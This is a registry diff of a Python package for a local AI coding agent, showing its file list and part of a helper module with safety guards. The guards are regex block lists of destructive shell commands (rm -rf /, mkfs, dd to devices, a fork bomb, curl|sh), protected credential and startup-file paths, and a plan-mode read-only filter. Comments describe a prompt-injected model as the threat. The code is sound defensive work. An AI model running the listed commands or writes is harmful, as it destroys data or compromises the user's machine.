localcode 0.4.0__py3-none-macosx_13_0_arm64.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (173) hide show
  1. localcode/__init__.py +11 -0
  2. localcode/__main__.py +5 -0
  3. localcode/_subproc_env.py +54 -0
  4. localcode/agent/__init__.py +177 -0
  5. localcode/agent/app_tasks.py +157 -0
  6. localcode/agent/constants.py +275 -0
  7. localcode/agent/context.py +1152 -0
  8. localcode/agent/goal.py +244 -0
  9. localcode/agent/helpers.py +1036 -0
  10. localcode/agent/hollow_module.py +230 -0
  11. localcode/agent/hooks.py +414 -0
  12. localcode/agent/loop.py +2855 -0
  13. localcode/agent/plateau.py +297 -0
  14. localcode/agent/project_check_gate.py +91 -0
  15. localcode/agent/prompt_context.py +264 -0
  16. localcode/agent/prompts.py +368 -0
  17. localcode/agent/reasoning_loop.py +79 -0
  18. localcode/agent/recovery.py +606 -0
  19. localcode/agent/recovery_controller.py +25 -0
  20. localcode/agent/round_policy.py +23 -0
  21. localcode/agent/sections.py +241 -0
  22. localcode/agent/state_machine.py +100 -0
  23. localcode/agent/streaming.py +324 -0
  24. localcode/agent/tool_execution.py +368 -0
  25. localcode/agent/tool_orchestration.py +54 -0
  26. localcode/agent/turn_finalization.py +135 -0
  27. localcode/app.py +1595 -0
  28. localcode/approvals.py +17 -0
  29. localcode/auto_compact.py +176 -0
  30. localcode/autonomy.py +103 -0
  31. localcode/bin/__init__.py +0 -0
  32. localcode/bin/llama-server +0 -0
  33. localcode/bin/localcode-ui +4 -0
  34. localcode/bootstrap.py +1191 -0
  35. localcode/cache.py +194 -0
  36. localcode/checkpoint.py +375 -0
  37. localcode/compact.py +73 -0
  38. localcode/compaction.py +341 -0
  39. localcode/composer.py +72 -0
  40. localcode/config.py +521 -0
  41. localcode/context.py +161 -0
  42. localcode/display.py +58 -0
  43. localcode/embeddings.py +480 -0
  44. localcode/entrypoint.py +536 -0
  45. localcode/errors.py +350 -0
  46. localcode/events.py +409 -0
  47. localcode/evidence.py +102 -0
  48. localcode/execution_policy.py +48 -0
  49. localcode/features.py +308 -0
  50. localcode/formatting.py +91 -0
  51. localcode/headless_json.py +265 -0
  52. localcode/health.py +288 -0
  53. localcode/hf_quants.py +203 -0
  54. localcode/history.py +594 -0
  55. localcode/indexer.py +144 -0
  56. localcode/injection_defense.py +204 -0
  57. localcode/launcher.py +373 -0
  58. localcode/logging_utils.py +28 -0
  59. localcode/lsp.py +153 -0
  60. localcode/mcp/__init__.py +88 -0
  61. localcode/mcp/_bridge.py +61 -0
  62. localcode/mcp/_config.py +33 -0
  63. localcode/mcp/_transports.py +128 -0
  64. localcode/mcp/client.py +395 -0
  65. localcode/memory_guard.py +291 -0
  66. localcode/model_config.py +288 -0
  67. localcode/model_delete.py +444 -0
  68. localcode/model_families.py +279 -0
  69. localcode/models.py +236 -0
  70. localcode/models_catalog.py +901 -0
  71. localcode/notebook.py +123 -0
  72. localcode/output.py +403 -0
  73. localcode/patching.py +65 -0
  74. localcode/paths.py +303 -0
  75. localcode/performance.py +623 -0
  76. localcode/permissions.py +79 -0
  77. localcode/permissions_v2.py +310 -0
  78. localcode/plans.py +198 -0
  79. localcode/process_registry.py +271 -0
  80. localcode/protocol/__init__.py +56 -0
  81. localcode/protocol/events.py +116 -0
  82. localcode/protocol/jsonl.py +153 -0
  83. localcode/protocol/outcomes.py +231 -0
  84. localcode/reasoning_capabilities.py +59 -0
  85. localcode/recommendations.py +87 -0
  86. localcode/recovery.py +134 -0
  87. localcode/redaction.py +164 -0
  88. localcode/runtime.py +2331 -0
  89. localcode/server_manager.py +1069 -0
  90. localcode/session.py +296 -0
  91. localcode/shell.py +83 -0
  92. localcode/skills/debug.md +21 -0
  93. localcode/skills/edit-verified.md +30 -0
  94. localcode/skills/explain.md +19 -0
  95. localcode/skills/finish-verified.md +11 -0
  96. localcode/skills/git-commit-safely.md +30 -0
  97. localcode/skills/locate.md +21 -0
  98. localcode/skills/plan-task.md +51 -0
  99. localcode/skills/review.md +22 -0
  100. localcode/skills/run-tests.md +24 -0
  101. localcode/skills.py +728 -0
  102. localcode/snapshots.py +195 -0
  103. localcode/sounds.py +50 -0
  104. localcode/telemetry.py +273 -0
  105. localcode/theme.py +137 -0
  106. localcode/thermal.py +160 -0
  107. localcode/thinking.py +114 -0
  108. localcode/tool_router.py +246 -0
  109. localcode/toolkit.py +1241 -0
  110. localcode/tools/__init__.py +400 -0
  111. localcode/tools/agent.py +259 -0
  112. localcode/tools/append_file.py +55 -0
  113. localcode/tools/background_process.py +115 -0
  114. localcode/tools/base.py +168 -0
  115. localcode/tools/bash.py +1160 -0
  116. localcode/tools/code_navigation.py +97 -0
  117. localcode/tools/edit_diff.py +80 -0
  118. localcode/tools/edit_file.py +477 -0
  119. localcode/tools/facts.py +149 -0
  120. localcode/tools/glob_tool.py +60 -0
  121. localcode/tools/grep.py +65 -0
  122. localcode/tools/inspect_symbol.py +266 -0
  123. localcode/tools/launch_app.py +93 -0
  124. localcode/tools/list_files.py +42 -0
  125. localcode/tools/multi_edit.py +167 -0
  126. localcode/tools/plan_mode.py +86 -0
  127. localcode/tools/project_check.py +685 -0
  128. localcode/tools/read_file.py +261 -0
  129. localcode/tools/read_state.py +223 -0
  130. localcode/tools/skill_tool.py +41 -0
  131. localcode/tools/syntax_check.py +216 -0
  132. localcode/tools/todo_write.py +200 -0
  133. localcode/tools/tool_call_repair.py +157 -0
  134. localcode/tools/web_fetch.py +182 -0
  135. localcode/tools/web_search.py +45 -0
  136. localcode/tools/write_file.py +281 -0
  137. localcode/tui/__init__.py +1 -0
  138. localcode/tui/app.py +485 -0
  139. localcode/tui/bridge.py +78 -0
  140. localcode/tui/clipboard_image.py +153 -0
  141. localcode/tui/paste_collapse.py +95 -0
  142. localcode/tui/screens/__init__.py +0 -0
  143. localcode/tui/screens/chat.py +5052 -0
  144. localcode/tui/screens/confirm.py +123 -0
  145. localcode/tui/screens/mode_picker.py +79 -0
  146. localcode/tui/screens/model_picker.py +962 -0
  147. localcode/tui/screens/setup.py +891 -0
  148. localcode/tui/styles/__init__.py +0 -0
  149. localcode/tui/styles/app.tcss +197 -0
  150. localcode/tui/widgets/__init__.py +0 -0
  151. localcode/tui/widgets/approval.py +2 -0
  152. localcode/tui/widgets/chat_log.py +2063 -0
  153. localcode/tui/widgets/messages/__init__.py +21 -0
  154. localcode/tui/widgets/messages/diff.py +287 -0
  155. localcode/tui/widgets/voice_visualizer.py +122 -0
  156. localcode/turn_diff.py +180 -0
  157. localcode/ui/FORK_COMMIT +1 -0
  158. localcode/ui/__init__.py +58 -0
  159. localcode/ui/launch.py +204 -0
  160. localcode/ui/picker_cli.py +165 -0
  161. localcode/ui/plugin/localcode.ts +626 -0
  162. localcode/ui/ports.py +42 -0
  163. localcode/ui/server_cmd.py +89 -0
  164. localcode/ui/supervisor.py +736 -0
  165. localcode/undo.py +121 -0
  166. localcode/verification.py +87 -0
  167. localcode/voice.py +948 -0
  168. localcode-0.4.0.dist-info/METADATA +160 -0
  169. localcode-0.4.0.dist-info/RECORD +173 -0
  170. localcode-0.4.0.dist-info/WHEEL +5 -0
  171. localcode-0.4.0.dist-info/entry_points.txt +3 -0
  172. localcode-0.4.0.dist-info/licenses/LICENSE +201 -0
  173. localcode-0.4.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,1036 @@
1
+ """Loop-adjacent helpers.
2
+
3
+ Pulled out of agent/__init__.py during T0.1-e. The seven functions
4
+ here aren't state machines or policy — they're "the loop needs to do
5
+ this one small thing" utilities that were crowding the file.
6
+
7
+ Grouped into three conceptual buckets (kept in one file because
8
+ they're all called exclusively by the loop and none is worth its own
9
+ module yet):
10
+
11
+ 1. Tool dispatch plumbing — `_execute_tool`, `_first_token`,
12
+ `_needs_confirmation`. These turn a parsed tool call + args
13
+ into a result string, gating destructive commands on user
14
+ approval via DESTRUCTIVE_PATTERNS.
15
+
16
+ 2. Display / summary formatting — `_render_markdown`,
17
+ `_brief_result`, `_grounded_file_summary`. These shape text
18
+ for user display (final answers rendered as Markdown; tool
19
+ results briefly summarised for progress logs; file-change
20
+ lists rendered with line counts after the turn).
21
+
22
+ 3. Progress-indicator label — `_tool_stage_label`. Returns the
23
+ short human phrase the TUI shows while a tool is running
24
+ ("writing foo.py", "running command", "searching code").
25
+
26
+ Pure helpers. No hidden state. Loop imports them by name.
27
+ """
28
+ from __future__ import annotations
29
+
30
+ import sys
31
+ from pathlib import Path
32
+ from typing import TYPE_CHECKING
33
+
34
+ from rich.console import Console
35
+ from rich.markdown import Markdown
36
+ from rich.padding import Padding
37
+
38
+ from .constants import DESTRUCTIVE_PATTERNS
39
+ from ..tools import ToolContext, ToolResult, dispatch_result as _tools_dispatch_result
40
+
41
+ if TYPE_CHECKING:
42
+ from ..app import LocalCodeApp
43
+ from ..output import OutputManager
44
+
45
+
46
+ # Helpers here are underscore-prefixed internal utilities the loop
47
+ # uses. `__all__` is empty deliberately — nothing here is a public
48
+ # contract. If a helper should be public later, rename without the
49
+ # leading underscore and add it here.
50
+ __all__: list[str] = []
51
+
52
+
53
+ _SHRINK_GUARD_SOURCE_EXTS = {".py", ".js", ".jsx", ".ts", ".tsx", ".css", ".html"}
54
+
55
+
56
+ # ── Autonomy-independent safety hard-block ─────────────────────────────
57
+ #
58
+ # The approval gate (_needs_confirmation) is a *confirmation* layer: it is
59
+ # skipped in FULL_AUTO and in headless mode (which forces full_auto). That
60
+ # left no backstop at all for those modes — a prompt-injected model could
61
+ # run `curl … | sh` via bash OR background_process, or overwrite
62
+ # ~/.ssh/authorized_keys via write_file, entirely unattended. This layer
63
+ # runs before EVERY dispatch regardless of autonomy level or headless, and
64
+ # cannot be overridden. It blocks only unambiguously destructive operations
65
+ # (no legitimate agent use), so it does not add friction to normal work.
66
+
67
+ # Tools that hand a raw string to a shell.
68
+ _SHELL_EXEC_TOOLS = {"bash", "background_process"}
69
+ # Tools that write file contents to a path.
70
+ _FILE_WRITE_TOOLS = {"write_file", "append_file", "edit_file", "multi_edit", "edit_diff"}
71
+
72
+ # Built-in tools that never prompt: read-only, or internally guarded
73
+ # (the `agent` tool routes every inner call back through this gate).
74
+ # Everything NOT on this list — and not a shell/write tool, which have
75
+ # their own richer gating below — is confirmed before it runs. That
76
+ # inverts the old default-allow, which let `launch_app` (executes a
77
+ # command the REPO controls via package.json scripts) and any
78
+ # third-party `mcp_*` tool run unattended in every mode including
79
+ # suggest. Mirrors the default-ASK posture permissions_v2 documents.
80
+ _NEVER_CONFIRM_TOOLS = frozenset({
81
+ "read_file", "grep", "glob", "list_files", "code_navigation",
82
+ "inspect_symbol", "todo_write", "current_datetime",
83
+ "web_search", "web_fetch", "skill", "agent",
84
+ "enter_plan_mode", "exit_plan_mode",
85
+ "read_state", "facts", "project_check", "syntax_check",
86
+ })
87
+
88
+ # Credential / key material that the agent has no legitimate reason to write.
89
+ # Matched on the path BASENAME or a path SEGMENT (never a naive substring, so
90
+ # editing the project's own `tokenizer.py` / `api_keys.py` is never blocked).
91
+ _BLOCKED_WRITE_BASENAMES = frozenset({
92
+ "id_rsa", "id_dsa", "id_ecdsa", "id_ed25519",
93
+ "authorized_keys", "known_hosts",
94
+ ".netrc", ".npmrc", ".pypirc",
95
+ "credentials", "credentials.json",
96
+ "shadow", "passwd", "sudoers",
97
+ # Shell startup files. Writing any of these is persistent code execution
98
+ # on the user's next shell — there is no legitimate agent reason to do it,
99
+ # and `~/.zshrc` was not covered by anything before.
100
+ ".zshrc", ".zshenv", ".zprofile", ".zlogin", ".zlogout",
101
+ ".bashrc", ".bash_profile", ".bash_login", ".bash_logout",
102
+ ".profile", ".kshrc", ".cshrc", ".tcshrc", ".inputrc",
103
+ # LocalCode's own machine-wide config. `mcp.json` is the worst case: the
104
+ # agent writes an MCP server `command`, which is then SPAWNED on the next
105
+ # launch — persistent RCE from a single silent file write.
106
+ "mcp.json",
107
+ })
108
+ _BLOCKED_WRITE_SEGMENTS = frozenset({
109
+ ".ssh", ".aws", ".gnupg", ".config/gcloud",
110
+ # macOS persistence: a plist dropped here is launched by launchd.
111
+ "launchagents", "launchdaemons",
112
+ # systemd user units are the Linux equivalent.
113
+ "systemd",
114
+ })
115
+
116
+ # Home-relative directories whose contents are off-limits regardless of the
117
+ # file's own name: ~/.localcode holds config.toml + mcp.json (both executed on
118
+ # next launch). Subtrees that are legitimate agent workspace are re-allowed.
119
+ _BLOCKED_HOME_DIRS = ("~/.localcode",)
120
+ _BLOCKED_HOME_DIR_EXEMPT_SUBDIRS = ("plans", "notebook", "sessions", "test-results")
121
+
122
+
123
+ def _is_git_hook_path(parts: tuple[str, ...]) -> bool:
124
+ """True for `<anything>/.git/hooks/<file>`.
125
+
126
+ Adjacency is required: a project directory literally named `hooks/` (very
127
+ common — webhook handlers, git-hook SOURCE templates) is not blocked, only
128
+ the live `.git/hooks/` directory git actually executes.
129
+ """
130
+ lowered = [part.lower() for part in parts]
131
+ for i in range(len(lowered) - 1):
132
+ if lowered[i] == ".git" and lowered[i + 1] == "hooks":
133
+ return True
134
+ return False
135
+
136
+
137
+ def _is_blocked_home_config_path(p: Path) -> bool:
138
+ """True for writes into ~/.localcode outside its workspace subdirs."""
139
+ for raw_dir in _BLOCKED_HOME_DIRS:
140
+ base = Path(raw_dir).expanduser()
141
+ try:
142
+ rel = p.resolve().relative_to(base.resolve())
143
+ except (ValueError, OSError):
144
+ try:
145
+ rel = p.relative_to(base)
146
+ except ValueError:
147
+ continue
148
+ if rel.parts and rel.parts[0] in _BLOCKED_HOME_DIR_EXEMPT_SUBDIRS:
149
+ continue
150
+ return True
151
+ return False
152
+
153
+
154
+ def _is_blocked_write_path(raw_path: str) -> bool:
155
+ """True if writing this path targets credential/key material, a shell
156
+ startup file, an OS persistence hook, or LocalCode's own machine config.
157
+
158
+ Precise matching only: exact basename, exact path segment, or an exact
159
+ directory relationship. A file named `tokenizer.py` or `password_reset.py`
160
+ in the project is NOT blocked, nor is a project's own `hooks/` directory.
161
+ """
162
+ if not raw_path:
163
+ return False
164
+ try:
165
+ p = Path(raw_path).expanduser()
166
+ except Exception:
167
+ p = Path(raw_path)
168
+ name = p.name.lower()
169
+ if name in _BLOCKED_WRITE_BASENAMES:
170
+ return True
171
+ lowered_parts = {part.lower() for part in p.parts}
172
+ if lowered_parts & _BLOCKED_WRITE_SEGMENTS:
173
+ return True
174
+ if _is_git_hook_path(p.parts):
175
+ return True
176
+ if _is_blocked_home_config_path(p):
177
+ return True
178
+ return False
179
+
180
+
181
+ # Catastrophic shell commands with NO legitimate agent use — hard-blocked in
182
+ # every mode, never overridable. Deliberately TIGHT: these are anchored to real
183
+ # device/root/home targets so they don't false-positive on a `grep` for the
184
+ # text. "High-risk but sometimes legitimate" commands (curl|sh installs,
185
+ # force-push, sudo rm) are NOT here — they route through the confirmation gate
186
+ # instead (see _CONFIRM_SHELL_RE), so the user can approve them.
187
+ #
188
+ # NB: SQL patterns (DROP TABLE, DELETE FROM, …) are intentionally absent — bash
189
+ # does not execute SQL, so blocking them here only broke `grep "DROP TABLE"`.
190
+ import re as _re
191
+
192
+ _HARD_BLOCK_SHELL_RE = [
193
+ _re.compile(r"\brm\s+-[a-z]*r[a-z]*f[a-z]*\s+(/|~|\$HOME|\$\{HOME\})(\s|/|$)", _re.I),
194
+ _re.compile(r"\brm\s+-[a-z]*f[a-z]*r[a-z]*\s+(/|~|\$HOME|\$\{HOME\})(\s|/|$)", _re.I),
195
+ _re.compile(r"\bmkfs\b", _re.I),
196
+ _re.compile(r"\bdd\b[^\n]*\bof=/dev/", _re.I),
197
+ _re.compile(r">\s*/dev/(sd|nvme|hd|disk|vd)", _re.I),
198
+ _re.compile(r"\bchmod\s+-R\s+0*777\s+/(\s|$)", _re.I),
199
+ _re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:", _re.I), # fork bomb
200
+ _re.compile(r">\s*/etc/", _re.I),
201
+ _re.compile(r"\bwipefs\b", _re.I),
202
+ ]
203
+
204
+ # High-risk-but-sometimes-legitimate shell: prompt for approval (overridable),
205
+ # never silently run and never hard-blocked. Anchored so a `grep` for the text
206
+ # doesn't trigger it: the pipe-to-shell must be a real pipeline, force-push a
207
+ # real git invocation.
208
+ _CONFIRM_SHELL_RE = _re.compile(
209
+ r"(?:\b(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:ba|z|k|da)?sh\b)"
210
+ r"|(?:\bgit\s+push\b[^\n]*(?:--force\b|-f\b))"
211
+ r"|(?:\bsudo\s+rm\b)"
212
+ r"|(?:\bgit\s+reset\s+--hard\s+origin\b)",
213
+ _re.I,
214
+ )
215
+
216
+
217
+ def _safety_hard_block(name: str, args: dict, repo_root: "Path | str | None" = None) -> str | None:
218
+ """Autonomy-independent hard block. Returns a rejection reason, or None.
219
+
220
+ Runs before every tool dispatch in ALL modes (including FULL_AUTO and
221
+ headless). Covers only operations with no legitimate agent use:
222
+ - catastrophic shell (rm -rf /, mkfs, dd of=/dev/…, > /dev/sd*, fork
223
+ bomb, chmod -R 777 /, > /etc/) — see _HARD_BLOCK_SHELL_RE
224
+ - writes to SSH/AWS/GPG key material or credential files
225
+ - writes to shell startup files (~/.zshrc &c), OS persistence hooks
226
+ (LaunchAgents, systemd units, .git/hooks), and ~/.localcode config
227
+ (mcp.json defines commands that get SPAWNED on next launch)
228
+ Everything else — including curl|sh and force-push — falls through to the
229
+ normal confirmation flow, which can approve it.
230
+ """
231
+ if name in _SHELL_EXEC_TOOLS:
232
+ cmd = str(args.get("command", "") or "")
233
+ if cmd:
234
+ for rx in _HARD_BLOCK_SHELL_RE:
235
+ if rx.search(cmd):
236
+ return "blocked: refusing a command that could destroy the disk or system (matched a catastrophic pattern)"
237
+ if name == "launch_app":
238
+ # launch_app hands the repo's own package.json script (or an
239
+ # inferred command) to `sh`. The string is repo-controlled, so it
240
+ # gets the same catastrophic-pattern screen as bash — resolved to
241
+ # the concrete command that would actually run.
242
+ action = str(args.get("action") or "start").strip().lower()
243
+ if action != "stop" and repo_root is not None:
244
+ command, _root, script = _resolve_launch_details(repo_root)
245
+ for text in (command, script):
246
+ if not text:
247
+ continue
248
+ for rx in _HARD_BLOCK_SHELL_RE:
249
+ if rx.search(text):
250
+ return (
251
+ "blocked: the repo's launch command matched a "
252
+ "catastrophic pattern and will not be executed"
253
+ )
254
+ if name in _FILE_WRITE_TOOLS:
255
+ raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
256
+ if raw_path:
257
+ # The agent's sanctioned scratch dir is exempt.
258
+ try:
259
+ from ..notebook import is_within_notebook
260
+ if is_within_notebook(Path(raw_path).expanduser()):
261
+ return None
262
+ except Exception:
263
+ pass
264
+ if _is_blocked_write_path(raw_path):
265
+ return (
266
+ "blocked: refusing to write credential/key material, a shell "
267
+ "startup file, an OS persistence hook, or LocalCode's own "
268
+ f"machine config ({Path(raw_path).name})"
269
+ )
270
+ return None
271
+
272
+
273
+ # ── Plan-mode enforcement ──────────────────────────────────────────────
274
+ #
275
+ # plans.py PROMISES the user that plan mode allows exactly one write (the
276
+ # plan file) and forbids edits and destructive bash; features.py documents
277
+ # PLAN_MODE as a read-only overlay. Until this layer existed the flag was
278
+ # advisory: `app.plan_mode` was set by the enter tool and read by nothing
279
+ # else, so a model in plan mode could rewrite the repo unchallenged.
280
+ #
281
+ # Shell is not blanket-blocked, because plan mode's whole job is exploring
282
+ # the codebase. Instead every pipeline segment's leading token must be on
283
+ # this read-only list, and redirections are refused outright — so `grep -rn
284
+ # foo | head` runs while `rm -rf build`, `git push`, and `echo x > f` do not.
285
+ _PLAN_MODE_READONLY_CMDS = frozenset({
286
+ "ls", "cat", "head", "tail", "wc", "file", "stat", "du", "df",
287
+ "grep", "rg", "egrep", "fgrep", "find", "fd", "tree", "which", "type",
288
+ "awk", "sed", "sort", "uniq", "cut", "tr", "jq", "diff", "basename",
289
+ "dirname", "realpath", "pwd", "echo", "date", "env", "printenv",
290
+ "git", "python3", "python", "node", "true", "false",
291
+ })
292
+ # `git` is allowed above for exploration only — these subcommands mutate.
293
+ _PLAN_MODE_GIT_BLOCKED = frozenset({
294
+ "push", "commit", "merge", "rebase", "reset", "checkout", "switch",
295
+ "clean", "apply", "am", "cherry-pick", "revert", "restore", "rm", "mv",
296
+ "add", "stash", "tag", "branch", "fetch", "pull", "clone", "init",
297
+ "submodule", "worktree", "gc", "filter-branch",
298
+ })
299
+
300
+
301
+ def _plan_mode_shell_rejection(cmd: str) -> str | None:
302
+ """Reject a shell command that would mutate state while planning."""
303
+ text = (cmd or "").strip()
304
+ if not text:
305
+ return None
306
+ if ">" in text or "`" in text or "$(" in text:
307
+ return "redirection or command substitution is not allowed in plan mode"
308
+ import re as _re_local
309
+ for segment in _re_local.split(r"[;&|\n]+", text):
310
+ seg = segment.strip()
311
+ if not seg:
312
+ continue
313
+ tokens = seg.split()
314
+ head = tokens[0].lower()
315
+ head = head.rsplit("/", 1)[-1]
316
+ if head not in _PLAN_MODE_READONLY_CMDS:
317
+ return f"`{head}` is not a read-only command"
318
+ if head == "git":
319
+ sub = next((t for t in tokens[1:] if not t.startswith("-")), "").lower()
320
+ if sub in _PLAN_MODE_GIT_BLOCKED:
321
+ return f"`git {sub}` mutates the repository"
322
+ return None
323
+
324
+
325
+ def _plan_mode_block(app: "LocalCodeApp", name: str, args: dict) -> str | None:
326
+ """Enforce plan mode. Returns a rejection reason, or None.
327
+
328
+ One write is permitted: `write_file` targeting the current session's
329
+ plan file. Everything else in `_FILE_WRITE_TOOLS` is refused, and shell
330
+ is limited to read-only exploration (see `_plan_mode_shell_rejection`).
331
+ """
332
+ if not getattr(app, "plan_mode", False):
333
+ return None
334
+ if name in _FILE_WRITE_TOOLS:
335
+ raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
336
+ slug = getattr(app, "plan_slug", None)
337
+ if name == "write_file" and raw_path and slug:
338
+ try:
339
+ from ..plans import plan_path
340
+ candidate = Path(raw_path).expanduser()
341
+ if not candidate.is_absolute():
342
+ candidate = Path(app.repo_root) / candidate
343
+ if candidate.resolve() == Path(plan_path(slug)).resolve():
344
+ return None
345
+ except Exception:
346
+ pass
347
+ target = f" ({Path(raw_path).name})" if raw_path else ""
348
+ return (
349
+ f"plan mode is active — `{name}`{target} is not allowed. The plan "
350
+ "file is the only write permitted while planning. Finish the plan "
351
+ "and call exit_plan_mode before changing any code."
352
+ )
353
+ if name in _SHELL_EXEC_TOOLS:
354
+ if name != "bash":
355
+ return (
356
+ f"plan mode is active — `{name}` is not allowed. Use read-only "
357
+ "shell commands to explore, then call exit_plan_mode."
358
+ )
359
+ reason = _plan_mode_shell_rejection(str(args.get("command", "") or ""))
360
+ if reason:
361
+ return (
362
+ f"plan mode is active and this command is not read-only: {reason}. "
363
+ "Explore with read-only commands, then call exit_plan_mode before "
364
+ "changing anything."
365
+ )
366
+ return None
367
+
368
+
369
+ def _path_within(path: Path, root: Path) -> bool:
370
+ try:
371
+ path.resolve().relative_to(root)
372
+ return True
373
+ except ValueError:
374
+ return False
375
+ except Exception:
376
+ return False
377
+
378
+
379
+ def _reject_noncanonical_creation_write(app: "LocalCodeApp", raw_path: str) -> str | None:
380
+ # Project naming is a model/user decision. Earlier versions forced every
381
+ # new-app write into an internal task slug; that over-constrained builds
382
+ # and produced weird repeated folder names. Keep the helper as a no-op so
383
+ # the rest of the write-guard pipeline remains stable.
384
+ return None
385
+
386
+
387
+ def _should_reject_destructive_write(path: Path, content: str) -> str | None:
388
+ """Reject suspicious full-file rewrites that collapse real source files.
389
+
390
+ Failure pattern from events.jsonl:
391
+ - existing app source file is 100+ lines
392
+ - model uses write_file, not edit_file
393
+ - new content is a tiny 8-line shell
394
+ - tool succeeds, but the app regresses badly
395
+
396
+ Keep this narrow: only existing source files, only severe shrinkage.
397
+ """
398
+ if not path.exists() or not path.is_file():
399
+ return None
400
+ if path.suffix.lower() not in _SHRINK_GUARD_SOURCE_EXTS:
401
+ return None
402
+ try:
403
+ old_text = path.read_text(errors="replace")
404
+ except Exception:
405
+ return None
406
+ old_lines = len(old_text.splitlines())
407
+ new_lines = len(content.splitlines())
408
+ if old_lines < 60:
409
+ return None
410
+ if new_lines > 20:
411
+ return None
412
+ if new_lines >= max(12, old_lines // 5):
413
+ return None
414
+ return (
415
+ f"REJECTED: write_file would collapse {path.name} from {old_lines} lines to "
416
+ f"{new_lines} lines. This looks like an accidental destructive rewrite. "
417
+ f"Read the file and use edit_file or multi_edit for a targeted change. "
418
+ f"Only do a full rewrite if the user explicitly asked for one."
419
+ )
420
+
421
+
422
+ def _should_reject_destructive_multi_edit(path: Path, edits: object) -> str | None:
423
+ """Reject multi_edit calls that effectively replace a whole file with
424
+ a tiny stub. Same protection as write_file, but simulated before the
425
+ tool mutates disk.
426
+ """
427
+ if not path.exists() or not path.is_file():
428
+ return None
429
+ if path.suffix.lower() not in _SHRINK_GUARD_SOURCE_EXTS:
430
+ return None
431
+ if not isinstance(edits, list) or not edits:
432
+ return None
433
+ try:
434
+ old_text = path.read_text(errors="replace")
435
+ except Exception:
436
+ return None
437
+ old_lines = len(old_text.splitlines())
438
+ if old_lines < 60:
439
+ return None
440
+
441
+ content = old_text
442
+ replaced_lines = 0
443
+ for edit in edits:
444
+ if not isinstance(edit, dict):
445
+ return None
446
+ old = edit.get("old_string", "")
447
+ new = edit.get("new_string", "")
448
+ if not isinstance(old, str) or not isinstance(new, str) or not old:
449
+ return None
450
+ if content.count(old) != 1:
451
+ return None
452
+ replaced_lines += len(old.splitlines())
453
+ content = content.replace(old, new, 1)
454
+
455
+ new_lines = len(content.splitlines())
456
+ replaced_ratio = replaced_lines / max(old_lines, 1)
457
+ if new_lines > 20:
458
+ return None
459
+ if new_lines >= max(12, old_lines // 5):
460
+ return None
461
+ if replaced_ratio < 0.75:
462
+ return None
463
+ return (
464
+ f"REJECTED: multi_edit would collapse {path.name} from {old_lines} "
465
+ f"lines to {new_lines} lines after replacing {replaced_lines} lines. "
466
+ "This looks like an accidental destructive rewrite. Use smaller "
467
+ "targeted edits, or ask before doing an explicit full-file replacement."
468
+ )
469
+
470
+
471
+ def _execute_tool_result(app: "LocalCodeApp", name: str, args: dict, out: "OutputManager") -> ToolResult:
472
+ """Execute a single tool and return the result string.
473
+
474
+ Routes through src/localcode/tools/{name}.py via tools.dispatch, with two
475
+ wrapping policy layers: the autonomy-independent safety hard-block, and
476
+ the plan-mode policy layer that refuses writes (other than the plan file)
477
+ and non-read-only shell while the agent is in plan-explore mode.
478
+ """
479
+ # Autonomy-independent safety hard-block. Runs FIRST, in every mode
480
+ # (including FULL_AUTO / headless), and cannot be overridden — this is the
481
+ # backstop the confirmation gate is not. A prompt-injected model cannot use
482
+ # bash/background_process to run `curl|sh` or wipe a disk, nor a write tool
483
+ # to overwrite ~/.ssh/authorized_keys, even with no human present.
484
+ _blocked = _safety_hard_block(name, args, repo_root=getattr(app, "repo_root", None))
485
+ if _blocked is not None:
486
+ try:
487
+ from ..events import emit as _emit_block
488
+ _emit_block("safety_hard_block", tool=name, reason=str(_blocked)[:200])
489
+ except Exception:
490
+ pass
491
+ return ToolResult(
492
+ text=f"REJECTED: {_blocked}. This operation is blocked by the safety layer and cannot be auto-approved.",
493
+ ok=False,
494
+ facts={"tool": name, "ok": False, "safety_blocked": True},
495
+ )
496
+
497
+ # Plan-mode policy. Runs next, before any hook or tool work, so the
498
+ # promise plans.py makes to the user ("the ONE write allowed in plan
499
+ # mode") is actually true.
500
+ _plan_blocked = _plan_mode_block(app, name, args)
501
+ if _plan_blocked is not None:
502
+ try:
503
+ from ..events import emit as _emit_plan
504
+ _emit_plan("plan_mode_block", tool=name, reason=str(_plan_blocked)[:200])
505
+ except Exception:
506
+ pass
507
+ return ToolResult(
508
+ text=f"REJECTED: {_plan_blocked}",
509
+ ok=False,
510
+ facts={"tool": name, "ok": False, "plan_mode_blocked": True},
511
+ )
512
+
513
+ # Lint-gate: for source-file writes/edits, snapshot the file before the
514
+ # tool runs so we can auto-revert on syntax-break. Motivation: the model
515
+ # at 2-bit quant has been observed to delete import statements during
516
+ # "clean up" edits, corrupting working code. A failed parse after the
517
+ # edit means the model made a destructive mistake — undo it before the
518
+ # next round runs the broken file.
519
+ _lintable_exts = (".py", ".js", ".ts", ".tsx", ".jsx", ".json")
520
+ _lint_tools = {"write_file", "append_file", "edit_file", "multi_edit", "edit_diff"}
521
+ target_path: Path | None = None
522
+ snapshot_bytes: bytes | None = None
523
+ if name in _lint_tools:
524
+ raw_path = args.get("path") or ""
525
+ if raw_path:
526
+ canonical_rejection = _reject_noncanonical_creation_write(app, str(raw_path))
527
+ if canonical_rejection:
528
+ return ToolResult(
529
+ text=canonical_rejection,
530
+ ok=False,
531
+ facts={"tool": name, "ok": False, "path": str(raw_path), "canonical_path": False},
532
+ )
533
+ p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
534
+ if p.suffix.lower() in _lintable_exts and p.exists():
535
+ try:
536
+ snapshot_bytes = p.read_bytes()
537
+ target_path = p
538
+ except Exception:
539
+ snapshot_bytes = None
540
+ target_path = None
541
+
542
+ if name == "write_file":
543
+ raw_path = args.get("path") or ""
544
+ if raw_path and "content" in args:
545
+ p = app.repo_root / raw_path if not Path(raw_path).is_absolute() else Path(raw_path)
546
+ rejection = _should_reject_destructive_write(p, str(args.get("content", "")))
547
+ if rejection:
548
+ return ToolResult(text=rejection, ok=False, facts={"tool": name, "ok": False, "path": str(raw_path)})
549
+ elif name == "multi_edit":
550
+ raw_path = args.get("path") or ""
551
+ if raw_path:
552
